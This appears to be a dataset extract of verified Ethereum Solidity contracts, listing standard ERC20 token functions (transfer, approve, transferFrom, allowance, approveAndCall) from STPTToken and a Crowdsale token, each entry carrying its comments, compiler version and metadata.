function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; }
// ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 1203, 1324 ] }
1,414
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
transfer
function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 1658, 1910 ] }
1,415
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
approve
function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 2403, 2600 ] }
1,416
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
transferFrom
function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 3118, 3442 ] }
1,417
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
allowance
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; }
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 3715, 3863 ] }
1,418
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
approveAndCall
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 4214, 4516 ] }
1,419
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
function () public payable { revert(); }
// ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 4702, 4753 ] }
1,420
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; }
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 268, 659 ] }
1,421
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 865, 977 ] }
1,422
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; }
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 401, 853 ] }
1,423
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, 